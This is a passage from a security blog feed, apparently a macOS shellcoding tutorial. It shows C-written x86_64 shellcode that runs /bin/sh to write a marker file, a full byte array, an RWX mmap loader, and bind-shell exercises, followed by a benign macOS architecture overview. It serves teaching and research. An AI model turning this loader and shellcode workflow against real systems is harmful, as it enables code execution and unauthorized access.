  <p>Note: no <code class="language-plaintext highlighter-rouge">&lt;unistd.h&gt;</code> include at all — we don’t refer to the real <code class="language-plaintext highlighter-rouge">execv</code> by name anywhere, So there is nothing for the linker to resolve. Also keep our <code class="language-plaintext highlighter-rouge">NULL</code>-terminator discipline on <code class="language-plaintext highlighter-rouge">argv</code> from the previous posts — the compiler isn’t adding it for us here.</p>
</blockquote>

<p>Compile and disassemble:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch x86_64 -c -fno-stack-protector shellcode_m2.c -o shellcode_m2.o
shellcoding % nm -u shellcode_m2.o
shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode_m2.o

shellcode_m2.o:	file format mach-o 64-bit x86-64

Disassembly of section __TEXT,__text:

0000000000000000 &lt;_main&gt;:
       0: 55                           	push	rbp
       1: 48 89 e5                     	mov	rbp, rsp
       4: 48 83 ec 70                  	sub	rsp, 0x70
       8: c7 45 fc 00 00 00 00         	mov	dword ptr [rbp - 0x4], 0x0
       f: 48 b8 88 77 66 55 44 33 22 11	movabs	rax, 0x1122334455667788
      19: 48 89 45 f0                  	mov	qword ptr [rbp - 0x10], rax
      1d: 48 b8 2f 62 69 6e 2f 73 68 00	movabs	rax, 0x68732f6e69622f
      27: 48 89 45 e8                  	mov	qword ptr [rbp - 0x18], rax
      2b: 48 c7 45 e0 2d 63 00 00      	mov	qword ptr [rbp - 0x20], 0x632d
      33: 48 b8 65 63 68 6f 20 22 57 30	movabs	rax, 0x305722206f686365
      3d: 48 89 45 b0                  	mov	qword ptr [rbp - 0x50], rax
      41: 48 b8 30 74 57 30 30 74 22 20	movabs	rax, 0x2022743030577430
      4b: 48 89 45 b8                  	mov	qword ptr [rbp - 0x48], rax
      4f: 48 b8 3e 20 2f 74 6d 70 2f 50	movabs	rax, 0x502f706d742f203e
      59: 48 89 45 c0                  	mov	qword ptr [rbp - 0x40], rax
      5d: 48 b8 77 6e 65 64 2e 74 78 74	movabs	rax, 0x7478742e64656e77
      67: 48 89 45 c8                  	mov	qword ptr [rbp - 0x38], rax
      6b: c6 45 d0 00                  	mov	byte ptr [rbp - 0x30], 0x0
      6f: 48 8d 45 e8                  	lea	rax, [rbp - 0x18]
      73: 48 89 45 90                  	mov	qword ptr [rbp - 0x70], rax
      77: 48 8d 45 e0                  	lea	rax, [rbp - 0x20]
      7b: 48 89 45 98                  	mov	qword ptr [rbp - 0x68], rax
      7f: 48 8d 45 b0                  	lea	rax, [rbp - 0x50]
      83: 48 89 45 a0                  	mov	qword ptr [rbp - 0x60], rax
      87: 48 c7 45 a8 00 00 00 00      	mov	qword ptr [rbp - 0x58], 0x0
      8f: 48 8b 45 f0                  	mov	rax, qword ptr [rbp - 0x10]
      93: 48 8d 75 90                  	lea	rsi, [rbp - 0x70]
      97: 48 8d 7d e8                  	lea	rdi, [rbp - 0x18]
      9b: ff d0                        	call	rax
      9d: 31 c0                        	xor	eax, eax
      9f: 48 83 c4 70                  	add	rsp, 0x70
      a3: 5d                           	pop	rbp
      a4: c3                           	ret
</code></pre></div></div>

<p>No <code class="language-plaintext highlighter-rouge">__stubs</code>, No <code class="language-plaintext highlighter-rouge">[rip]</code>, <code class="language-plaintext highlighter-rouge">nm -u</code> silent — the call went through <code class="language-plaintext highlighter-rouge">call rax</code>, And the target address sits inside our code as the <code class="language-plaintext highlighter-rouge">movabs rax, 0x1122334455667788</code> placeholder. Fully self-contained. Both problems solved — Now we just need a real address to patch in.</p>

<h3 id="hunting-the-real-address-at-runtime">Hunting the Real Address at Runtime</h3>

<p>Since functions in <code class="language-plaintext highlighter-rouge">C</code> are just memory addresses, We can simply print <code class="language-plaintext highlighter-rouge">execv</code>’s value from any running process:</p>

<pre><code class="language-C">/* getaddress.c — fetch execv's runtime address */
#include &lt;unistd.h&gt;
#include &lt;stdio.h&gt;

int main(void)
{
    printf("0x%lx\n", (unsigned long)execv);
}
</code></pre>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch x86_64 getaddress.c -o getaddress
shellcoding % ./getaddress
0x7ff80c62a967
shellcoding % ./getaddress
0x7ff80c62a967
shellcoding % clang -arch x86_64 getaddress.c -o getaddress2
shellcoding % ./getaddress2
0x7ff80c62a967
</code></pre></div></div>

<p>Notice two things: the address is the <strong>same across different binaries and different runs</strong> — Cause <code class="language-plaintext highlighter-rouge">libc</code> lives in the shared cache, Which <code class="language-plaintext highlighter-rouge">ASLR</code> slides <strong>once per boot</strong> and then leaves alone. So <code class="language-plaintext highlighter-rouge">0x7ff80c62a967</code> is valid on this machine <strong>until the next reboot</strong> — This is exactly why Method 2 is a <em>local exploitation</em> technique: get code execution, Read the address, Ship the shellcode — All within the same boot.</p>

<h3 id="patch-extract-load">Patch, Extract, Load</h3>

<p>Now we replace the placeholder with the real address and rebuild:</p>

<pre><code class="language-C">    execv_t my_execv = (execv_t)0x7ff80c62a967;   /* fetched at runtime — valid until reboot */
</code></pre>

<blockquote>
  <p>Note: in a real exploitation scenario you wouldn’t hardcode it by hand either — Your first-stage code would resolve the address at runtime (parse the shared cache, Or simply read it from a process you already control) and write it into the placeholder before executing the blob. For the lab, Compiling it in is enough to prove the concept.</p>
</blockquote>

<p>Let’s prove it twice — First as a linked binary, Then as real shellcode in our loader. Linked:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % sed 's/0x1122334455667788/0x7ff80c62a967/' shellcode_m2.c &gt; shellcode_m2_final.c
shellcoding % clang -arch x86_64 -fno-stack-protector shellcode_m2_final.c -o sc_m2
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./sc_m2
shellcoding % echo $?
0
shellcoding % cat /tmp/Pwned.txt
W00tW00t
</code></pre></div></div>

<p>And now the full circle — extract the blob and feed it to our fork-based <code class="language-plaintext highlighter-rouge">RWX</code> loader:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch x86_64 -c -fno-stack-protector shellcode_m2_final.c -o shellcode_m2_final.o
shellcoding % segedit shellcode_m2_final.o -extract __TEXT __text sc_m2_bytes.bin
shellcoding % wc -c sc_m2_bytes.bin
     165 sc_m2_bytes.bin
shellcoding % xxd sc_m2_bytes.bin | head -3
00000000: 5548 89e5 4883 ec70 c745 fc00 0000 0048  UH..H..p.E.....H
00000010: b867 a962 0cf8 7f00 0048 8945 f048 b82f  .g.b.....H.E.H./
00000020: 6269 6e2f 7368 0048 8945 e848 c745 e02d  bin/sh.H.E.H.E.-
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">165</code> bytes — And look at offset <code class="language-plaintext highlighter-rouge">0x11</code>: <code class="language-plaintext highlighter-rouge">67 a9 62 0c f8 7f 00 00</code> = our <code class="language-plaintext highlighter-rouge">0x7ff80c62a967</code> in little-endian, Baked into the blob. Generate the header (with <code class="language-plaintext highlighter-rouge">xxd -i</code>, Never by hand — more on that below), And load it with the same fork-based loader from Method 1:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % xxd -i sc_m2_bytes.bin &gt; sc_m2_bytes.h
shellcoding % clang -arch x86_64 -o cloader_m2 cloader_m2.c
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./cloader_m2
[parent 95793] spawned child 95796, waiting...
[child 95796] executing shellcode (165 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt
W00tW00t
</code></pre></div></div>

<p>Our <code class="language-plaintext highlighter-rouge">C</code>-written shellcode — calling <code class="language-plaintext highlighter-rouge">libc</code> through an address we hardcoded — Extracted, Loaded into an anonymous <code class="language-plaintext highlighter-rouge">RWX</code> page, And the file is there. Full circle, Method 2 edition.</p>

<blockquote>
  <p>Note: want the <code class="language-plaintext highlighter-rouge">nasm</code> route instead of the loader? Same conversion rules as our first post — drop the <code class="language-plaintext highlighter-rouge">ptr</code> keywords, Rename <code class="language-plaintext highlighter-rouge">movabs</code> to <code class="language-plaintext highlighter-rouge">mov</code>, Replace the placeholder with the real address — Then <code class="language-plaintext highlighter-rouge">nasm -f macho64</code> + <code class="language-plaintext highlighter-rouge">ld -lSystem -e _main</code> and you have a standalone binary, Just like old times.</p>
</blockquote>

<blockquote>
  <p>Warning: a story from the testing of this very post. On my first extraction run, I grabbed the bytes from the <strong>unpatched</strong> object — placeholder <code class="language-plaintext highlighter-rouge">0x1122334455667788</code> still baked in. The linked binary wasn’t tested, Straight to the loader — And the child died instantly: <code class="language-plaintext highlighter-rouge">SIGSEGV</code>, faulting address <code class="language-plaintext highlighter-rouge">0x0</code>, <code class="language-plaintext highlighter-rouge">RIP</code> frozen on the <code class="language-plaintext highlighter-rouge">call rax</code>. That’s the classic signature of a <strong>general-protection fault</strong>: <code class="language-plaintext highlighter-rouge">0x1122334455667788</code> is a <em>non-canonical</em> address on <code class="language-plaintext highlighter-rouge">x86_64</code> (bits above <code class="language-plaintext highlighter-rouge">47</code> are set wrong), So the CPU refuses the control transfer before it even starts. So if your Method 2 shellcode dies with <code class="language-plaintext highlighter-rouge">si_addr = 0x0</code> right at the <code class="language-plaintext highlighter-rouge">call</code> — You forgot to patch the placeholder. The address hunt is not optional.</p>
</blockquote>

<h3 id="method-1-vs-method-2">Method 1 vs Method 2</h3>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>Method 1 — Syscall-Only</th>
      <th>Method 2 — Function Pointers</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Position independence</td>
      <td>Fully <code class="language-plaintext highlighter-rouge">PIC</code> — works at any address, Any process, Any boot</td>
      <td>Position-dependent — addresses valid <strong>until reboot</strong></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">libc</code> usage</td>
      <td>None — raw syscalls via inline asm</td>
      <td>Full <code class="language-plaintext highlighter-rouge">libc</code> (<code class="language-plaintext highlighter-rouge">execv</code>, <code class="language-plaintext highlighter-rouge">socket</code>, <code class="language-plaintext highlighter-rouge">htons</code>…) through placeholders</td>
    </tr>
    <tr>
      <td>Prerequisite for use</td>
      <td>Nothing — fire and forget</td>
      <td>Code execution on target first, To read the real addresses</td>
    </tr>
    <tr>
      <td>Best scenario</td>
      <td>Remote payloads, Memory-corruption exploits</td>
      <td>Local exploitation, Privilege escalation, Post-exploitation</td>
    </tr>
    <tr>
      <td>Dev speed</td>
      <td>Slower — hand-rolled structs &amp; syscall numbers</td>
      <td>Fast — normal <code class="language-plaintext highlighter-rouge">C</code> with real functions</td>
    </tr>
    <tr>
      <td>Failure signature if stale</td>
      <td>Immune to <code class="language-plaintext highlighter-rouge">ASLR</code></td>
      <td><code class="language-plaintext highlighter-rouge">SIGSEGV</code> with <code class="language-plaintext highlighter-rouge">si_addr = 0x0</code> at the call — patch your placeholders</td>
    </tr>
  </tbody>
</table>

<h2 id="execute-shellcode">Execute shellcode</h2>

<p>Now let’s do Method 1’s extraction in full detail — first prove the <code class="language-plaintext highlighter-rouge">C</code> shellcode runs as a normal binary, Then extract it and run it as real shellcode from a loader.</p>

<p><strong>Stage 1 — run it linked.</strong> We link the object into an executable with our <code class="language-plaintext highlighter-rouge">main</code> as the entry point (<code class="language-plaintext highlighter-rouge">ld</code> wants the symbol name <code class="language-plaintext highlighter-rouge">_main</code>, which is exactly what our C <code class="language-plaintext highlighter-rouge">main</code> compiles to):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % ld -o sc shellcode.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX26.5.sdk/usr/lib -lSystem -e _main -platform_version macos 26.5 26.5
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./sc
shellcoding % echo $?
0
shellcoding % ls -la /tmp/Pwned.txt
-rw-r--r--  1 zeyadazima.com  wheel  9 Sep 17 00:46 /tmp/Pwned.txt
shellcoding % cat /tmp/Pwned.txt
W00tW00t
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">C</code> shellcode runs and does its job. (<code class="language-plaintext highlighter-rouge">-lSystem</code> is only there because <code class="language-plaintext highlighter-rouge">ld</code> refuses to produce a dynamic executable without it — our object imports nothing from it.)</p>

<p><strong>Stage 2 — extract the blob.</strong> Same pipeline as our <code class="language-plaintext highlighter-rouge">x86_64</code> assembly post — <code class="language-plaintext highlighter-rouge">objdump</code> with Intel syntax, grab the hex bytes, convert:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % objdump --disassemble --x86-asm-syntax=intel shellcode.o &gt; sc.disasm
shellcoding % grep -E '^[[:space:]]+[0-9a-f]+:' sc.disasm \
  | awk '{for(i=2;i&lt;=NF;i++) if ($i ~ /^[0-9a-f]{2}$/) printf "%s", $i}' \
  | tr -d '\n' &gt; shellcode.hex
shellcoding % cat shellcode.hex 
554889e548b82f62696e2f736800488945f048c745f82d63000048b86563686f20225730488945c048b83074573030742220488945c848b83e202f746d702f50488945d048b8776e65642e747874488945d8c645e000488d7df048897da0488d45f8488945a8488d45c0488945b048c745b800000000488d75a0b83b00000231d20f05b80100000231ff31f631d20f050f0b
shellcoding % xxd -r -p shellcode.hex &gt; shellcode.bin
shellcoding % wc -c shellcode.bin
     146 shellcode.bin // 146 bytes
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">146</code> bytes of shellcode, written in <code class="language-plaintext highlighter-rouge">C</code>. And since we’re on <code class="language-plaintext highlighter-rouge">x86_64</code>, the <code class="language-plaintext highlighter-rouge">otool</code> cross-check matches byte-for-byte:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % otool -s __TEXT __text shellcode.o | sed -n '3,$p' \
  | awk '{ for(i=2;i&lt;=NF;i++) printf "%s",$i } END{ print "" }' \
  | xxd -r -p | cmp - shellcode.bin &amp;&amp; echo IDENTICAL
IDENTICAL
shellcoding % xxd shellcode.bin | head -2
00000000: 5548 89e5 48b8 2f62 696e 2f73 6800 4889  UH..H./bin/sh.H.
00000010: 45f0 48c7 45f8 2d63 0000 48b8 6563 686f  E.H.E.-c..H.echo
</code></pre></div></div>

<p>You can even see <code class="language-plaintext highlighter-rouge">/bin/sh</code> and <code class="language-plaintext highlighter-rouge">echo</code> sitting in the dump — our stack-built strings as <code class="language-plaintext highlighter-rouge">movabs</code> immediates.</p>

<blockquote>
  <p>Note: whatever you do, <strong>do not hand-type the byte array into the loader</strong>. During the testing of this very post, a hand-copied array turned out to be <code class="language-plaintext highlighter-rouge">154</code> bytes instead of <code class="language-plaintext highlighter-rouge">146</code> with corruption starting at offset <code class="language-plaintext highlighter-rouge">36</code> — and the “mysteriously crashing” loader cost us a debugging session that ended at <code class="language-plaintext highlighter-rouge">cmp</code> between two arrays. Always <code class="language-plaintext highlighter-rouge">xxd -i shellcode.bin &gt; shellcode.h</code> and <code class="language-plaintext highlighter-rouge">#include</code> it. The machine is better at copying 146 bytes than you are, Accept it.</p>
</blockquote>

<p>Generate the <code class="language-plaintext highlighter-rouge">C</code> array the right way:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % xxd -i shellcode.bin &gt; shellcode.h
shellcoding % cat shellcode.h
unsigned char shellcode_bin[] = {
  0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
  0x68, 0x00, 0x48, 0x89, 0x45, 0xf0, 0x48, 0xc7, 0x45, 0xf8, 0x2d, 0x63,
  0x00, 0x00, 0x48, 0xb8, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22, 0x57, 0x30,
  0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x48, 0x89, 0x45, 0xc0,
  0x48, 0xb8, 0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x48, 0x89,
  0x45, 0xc8, 0x48, 0xb8, 0x3e, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x50,
  0x48, 0x89, 0x45, 0xd0, 0x48, 0xb8, 0x77, 0x6e, 0x65, 0x64, 0x2e, 0x74,
  0x78, 0x74, 0x48, 0x89, 0x45, 0xd8, 0xc6, 0x45, 0xe0, 0x00, 0x48, 0x8d,
  0x7d, 0xf0, 0x48, 0x89, 0x45, 0xa0, 0x48, 0x8d, 0x45, 0xf8, 0x48, 0x89,
  0x45, 0xa8, 0x48, 0x8d, 0x45, 0xc0, 0x48, 0x89, 0x45, 0xb0, 0x48, 0xc7,
  0x45, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x75, 0xa0, 0xb8, 0x3b,
  0x00, 0x00, 0x02, 0x31, 0xd2, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x02,
  0x31, 0xff, 0x31, 0xf6, 0x31, 0xd2, 0x0f, 0x05, 0x0f, 0x0b
};
unsigned int shellcode_bin_len = 146;
</code></pre></div></div>

<p><strong>Stage 3 — the loader.</strong> The same fork-based loader from our <code class="language-plaintext highlighter-rouge">x86_64</code> assembly post — <code class="language-plaintext highlighter-rouge">mmap</code> an <code class="language-plaintext highlighter-rouge">RWX</code> page (allowed on <code class="language-plaintext highlighter-rouge">Intel</code>, remember our <code class="language-plaintext highlighter-rouge">ARM64</code> post where Apple Silicon said no), copy the blob, cast, call, And the parent checks the side-effect. This time we <code class="language-plaintext highlighter-rouge">#include</code> the generated header instead of pasting bytes — lesson learned:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;stdlib.h&gt;
#include "shellcode.h"   /* generated by: xxd -i shellcode.bin &gt; shellcode.h */

int main(void) {
    unsigned char *code = shellcode_bin;
    size_t len = shellcode_bin_len;

    pid_t pid = fork();
    if (pid &lt; 0) {
        perror("fork");
        return 1;
    }

    if (pid == 0) {
        // child: allocate RWX, copy shellcode and execute
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);

        int (*func)() = (int(*)())exec;
        int r = func();   // if shellcode calls execve, child will be replaced
        _exit(r &amp; 0xFF);
    } else {
        // parent: wait for child and then check side-effect
        int status = 0;
        printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
        fflush(stdout);

        if (waitpid(pid, &amp;status, 0) == -1) {
            perror("waitpid");
            return 2;
        }

        if (WIFEXITED(status)) {
            printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
        } else if (WIFSIGNALED(status)) {
            printf("[parent] child killed by signal %d\n", WTERMSIG(status));
        }

        usleep(200000);

        const char *check_path = "/tmp/Pwned.txt";
        if (access(check_path, F_OK) == 0) {
            printf("[parent] Success: '%s' exists.\n", check_path);
            return 0;
        } else {
            printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
                   check_path, errno, strerror(errno));
            return 3;
        }
    }
}
</code></pre>

<p>Compile and fire:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch x86_64 -o cloader cloader.c
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./cloader 
[parent 90000] spawned child 90001, waiting...
[child 90001] executing shellcode (146 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt 
W00tW00t
</code></pre></div></div>

<p>Our <code class="language-plaintext highlighter-rouge">C</code>-written shellcode, extracted from the compiler’s output, Executed from an anonymous <code class="language-plaintext highlighter-rouge">RWX</code> page — And the file is there. Full circle.</p>

<p><img width="1454" height="805" alt="image" src="https://github.com/user-attachments/assets/4e13400b-a7d4-44fc-b708-3bf92db680e6" /></p>

<h1 id="conclusion">Conclusion</h1>

<p>We closed the loop on our <code class="language-plaintext highlighter-rouge">macOS</code> shellcoding series: instead of hand-writing assembly, We wrote our shellcode in <code class="language-plaintext highlighter-rouge">C</code> and made the compiler produce it for us — On the same <code class="language-plaintext highlighter-rouge">x86_64</code> Intel Mac, With Apple <code class="language-plaintext highlighter-rouge">clang</code> — Using <strong>two methods</strong>, Cooking the same <code class="language-plaintext highlighter-rouge">W00tW00t</code> payload both times. <strong>Method 1</strong> eliminated the compiler’s bad habits entirely: <code class="language-plaintext highlighter-rouge">RIP</code>-relative addressing, outsourced <code class="language-plaintext highlighter-rouge">libc</code> calls, stack protector, relocations — neutralized with stack-built immediate strings, inline-assembly syscall wrappers, And the exact compile recipe <code class="language-plaintext highlighter-rouge">-O2 -ffreestanding -fno-stack-protector -fno-builtin</code>, Verified by the silent trio (<code class="language-plaintext highlighter-rouge">nm -u</code>, <code class="language-plaintext highlighter-rouge">grep rip</code>, <code class="language-plaintext highlighter-rouge">otool -r</code>) — Producing a <code class="language-plaintext highlighter-rouge">146</code>-byte, reloc-free, syscall-only blob that runs anywhere, Any boot. <strong>Method 2</strong> embraced <code class="language-plaintext highlighter-rouge">libc</code> through function-pointer placeholders — <code class="language-plaintext highlighter-rouge">typedef</code> + cast + <code class="language-plaintext highlighter-rouge">call rax</code> — Patched with the real shared-cache address read at runtime, Which makes it position-dependent (dies on reboot) But perfect for local exploitation, And blazing fast to develop. We also collected two bonus lessons the hard way: modern <code class="language-plaintext highlighter-rouge">clang</code> folds the classic char-array trick back into <code class="language-plaintext highlighter-rouge">rip</code>-dependent literals (element-wise assignments and <code class="language-plaintext highlighter-rouge">u64</code> immediates are the cure), A never hand-copy shellcode bytes into a <code class="language-plaintext highlighter-rouge">C</code> array — let <code class="language-plaintext highlighter-rouge">xxd -i</code> do it. The same workflows port straight to <code class="language-plaintext highlighter-rouge">ARM64</code> from our previous post — same rules, Different immediate sizes (<code class="language-plaintext highlighter-rouge">movz</code>/<code class="language-plaintext highlighter-rouge">movk</code> instead of <code class="language-plaintext highlighter-rouge">movabs</code>) and <code class="language-plaintext highlighter-rouge">svc #0x80</code> instead of <code class="language-plaintext highlighter-rouge">syscall</code>. This foundation sets the stage for more advanced topics.</p>

<h1 id="exercises">Exercises</h1>

<p>If you want to flex both methods, Here are two challenges:</p>

<ul>
  <li><strong>Method 1:</strong> Recreate the <code class="language-plaintext highlighter-rouge">BindShell</code> from our <code class="language-plaintext highlighter-rouge">x86_64</code> assembly post — But in <code class="language-plaintext highlighter-rouge">C</code>, Syscall-only, Using the <code class="language-plaintext highlighter-rouge">sc3</code>/<code class="language-plaintext highlighter-rouge">sc4</code> inline-assembly wrappers. Remember the <code class="language-plaintext highlighter-rouge">BSD</code> syscall numbers for <code class="language-plaintext highlighter-rouge">socket</code> = <code class="language-plaintext highlighter-rouge">97</code>, <code class="language-plaintext highlighter-rouge">bind</code> = <code class="language-plaintext highlighter-rouge">104</code>, <code class="language-plaintext highlighter-rouge">listen</code> = <code class="language-plaintext highlighter-rouge">106</code>, <code class="language-plaintext highlighter-rouge">accept</code> = <code class="language-plaintext highlighter-rouge">30</code>, <code class="language-plaintext highlighter-rouge">dup2</code> = <code class="language-plaintext highlighter-rouge">90</code> (verify them in <code class="language-plaintext highlighter-rouge">syscalls.master</code>!), And that the 4th+ syscall arguments travel in <code class="language-plaintext highlighter-rouge">R10</code> — Extend your wrapper accordingly.</li>
  <li><strong>Method 2:</strong> Take the same <code class="language-plaintext highlighter-rouge">BindShell</code> <code class="language-plaintext highlighter-rouge">C</code> code from our <code class="language-plaintext highlighter-rouge">x86_64</code> post (the one with <code class="language-plaintext highlighter-rouge">socket()</code>, <code class="language-plaintext highlighter-rouge">bind()</code>, <code class="language-plaintext highlighter-rouge">listen()</code>, <code class="language-plaintext highlighter-rouge">accept()</code> and the <code class="language-plaintext highlighter-rouge">dup2</code> loop) — And apply the Method 2 treatment: replace every <code class="language-plaintext highlighter-rouge">libc</code> call with a function-pointer placeholder, Build every string with immediates, Fetch the real addresses at runtime with a <code class="language-plaintext highlighter-rouge">getaddress</code>-style helper, Then patch, Extract, And load it. Compare the effort with the Method 1 version and you’ll see exactly why this technique exists — And remember: the moment your Mac reboots, All those beautiful addresses turn into pumpkins.</li>
</ul>

<h2 id="help-">Help ?</h2>

<p>If you got any questions or need help, You can contact me:</p>

<ul>
  <li><a href="https://www.linkedin.com/in/zer0verflow/">Linkedin</a></li>
  <li><a href="https://x.com/AzimaZeyad">Twitter/X</a></li>
  <li>Email: <a href="mailto:contact@zeyadazima.com">contact@zeyadazima.com</a></li>
  <li>Discord: <code class="language-plaintext highlighter-rouge">.killer_1337</code> including <code class="language-plaintext highlighter-rouge">.</code></li>
</ul>

<h1 id="references">References</h1>

<ul>
  <li>https://github.com/Zeyad-Azima/macOShellcoding</li>
  <li>https://opensource.apple.com/releases/</li>
  <li>https://github.com/apple-oss-distributions/xnu</li>
  <li>https://codebrowser.dev/</li>
  <li>https://man.freebsd.org/</li>
  <li>https://pubs.opengroup.org</li>
  <li>https://developer.apple.com/documentation/xcode/writing-arm64-code-for-apple-platforms</li>
  <li>https://newosxbook.com</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="MacOS" /><category term="MacOS" /><summary type="html"><![CDATA[Pt.3 macOS Shellcoding /W C on x86_64.]]></summary></entry><entry><title type="html">Practical macOS Security Researcher Notes and Guide (OSMR)</title><link href="https://zeyadazima.com/notes/osmrnotes/" rel="alternate" type="text/html" title="Practical macOS Security Researcher Notes and Guide (OSMR)" /><published>2025-12-02T00:00:00+00:00</published><updated>2025-12-02T00:00:00+00:00</updated><id>https://zeyadazima.com/notes/osmrnotes</id><content type="html" xml:base="https://zeyadazima.com/notes/osmrnotes/"><![CDATA[<h1 id="macos-architecture">MacOS Architecture</h1>

<h2 id="introduction">Introduction</h2>

<p><img width="1518" height="844" alt="image" src="https://github.com/user-attachments/assets/2b4859ec-bc03-433f-9b89-0f67d3a5e764" /></p>

<h3 id="1-application-layer">1. <strong>Application Layer</strong></h3>
<ul>
  <li><strong>AppKit</strong>: Facilitates the creation of desktop application interfaces, handling events, drawing operations, and user interface elements like buttons and text fields. For example, when you create a new document in TextEdit, AppKit is responsible for displaying the window, text editing area, and menu options.</li>
  <li><strong>Notification Center</strong>: Manages the centralized delivery of notifications to the user. For example, when you receive a new email, Notification Center displays a pop-up message or updates an icon badge.</li>
  <li><strong>Siri</strong>: Allows voice interaction with applications and system functions. For example, you can ask Siri to send a message, set reminders, or launch applications.</li>
  <li><strong>Sharing &amp; Full Screen</strong>: Supports easy content sharing to other applications or services and manages applications in full-screen mode. For example, using the Share button in Safari to post a webpage link to Twitter.</li>
  <li><strong>Auto Layout</strong>: Dynamically calculates the size and position of all the views in your window based on constraints. For example, ensuring a button stays at the bottom right corner of a window, regardless of window size changes.</li>
  <li><strong>Popovers &amp; Configuration</strong>: Handles transient views that appear above other content, and manages application configurations. For example, a settings popover in Mail that allows adjusting mail sorting preferences.</li>
</ul>

<h3 id="2-media-layer">2. <strong>Media Layer</strong></h3>
<ul>
  <li><strong>AV Foundation</strong>: Manages and plays audio-visual media. For example, playing a video file in QuickTime Player.</li>
  <li><strong>Core Animation</strong>: Provides fluid animation for user interface elements. For example, smooth transitions when you minimize a window or open Mission Control.</li>
  <li><strong>Core Audio</strong>: Handles audio operations system-wide. For example, managing audio streams and volume control across all running applications.</li>
  <li><strong>Core Image</strong>: Used for high-performance image processing, which allows quick filtering and effects in applications like Photos.</li>
  <li><strong>Core Text</strong>: Manages text layout and font rendering; crucial for reading and editing text in any app that displays large amounts of text.</li>
  <li><strong>Metal</strong>: Optimizes graphics and compute operations by leveraging the GPU. For example, accelerating graphics rendering in games or graphical applications.</li>
</ul>

<h3 id="3-core-services">3. <strong>Core Services</strong></h3>
<ul>
  <li><strong>Address Book</strong>: Stores and retrieves user contact information. For example, when a user saves a new contact in the Contacts app, it is stored in the Address Book database.</li>
  <li><strong>Core Foundation</strong>: Provides fundamental data types and collections, like strings and arrays, crucial for app development. For example, managing data structures in any app.</li>
  <li><strong>Quick Look</strong>: Allows users to preview documents or images quickly without opening them in a dedicated app, like previewing PDF files in Finder.</li>
  <li><strong>Social</strong>: Provides frameworks to integrate with social media platforms. For example, sharing images directly from Preview to Facebook.</li>
  <li><strong>Webkit</strong>: Powers the Safari browser; handles HTML content rendering and JavaScript execution.</li>
</ul>

<h3 id="4-core-os">4. <strong>Core OS</strong></h3>
<ul>
  <li><strong>Accelerate</strong>: Optimizes large-scale mathematical computations, improving performance in scientific and financial software.</li>
  <li><strong>Directory Services</strong>: Manages user accounts and permissions. For example, when logging in, Directory Services verifies user credentials.</li>
  <li><strong>Disk Arbitration</strong>: Manages access to disk volumes to prevent file system corruption. For example, it ensures that a disk is not ejected while files are being written to it.</li>
</ul>

<h3 id="5-kernel--device-drivers">5. <strong>Kernel &amp; Device Drivers</strong></h3>
<ul>
  <li><strong>BSD</strong>: Provides networking, security, and file system support. For example, BSD sockets are used for network communication in apps like Mail and Safari.</li>
  <li><strong>Mach</strong>: The core around which macOS is built, handling low-level tasks like memory management and process scheduling. For example, Mach allocates memory when you open an app and schedules CPU time for it to run.</li>
  <li><strong>Networking &amp; Security</strong>: Includes components that handle secure network communications and data encryption. For example, establishing encrypted connections over Wi-Fi.</li>
  <li><strong>File System Management</strong>: The file system manages the storage of data in an organized manner so that it can be easily accessed, modified, and managed. It handles operations such as reading, writing, creating, and deleting files and directories.</li>
</ul>

<h2 id="system-directories">System Directories</h2>

<h4 id="posix-directories">POSIX Directories</h4>
<ul>
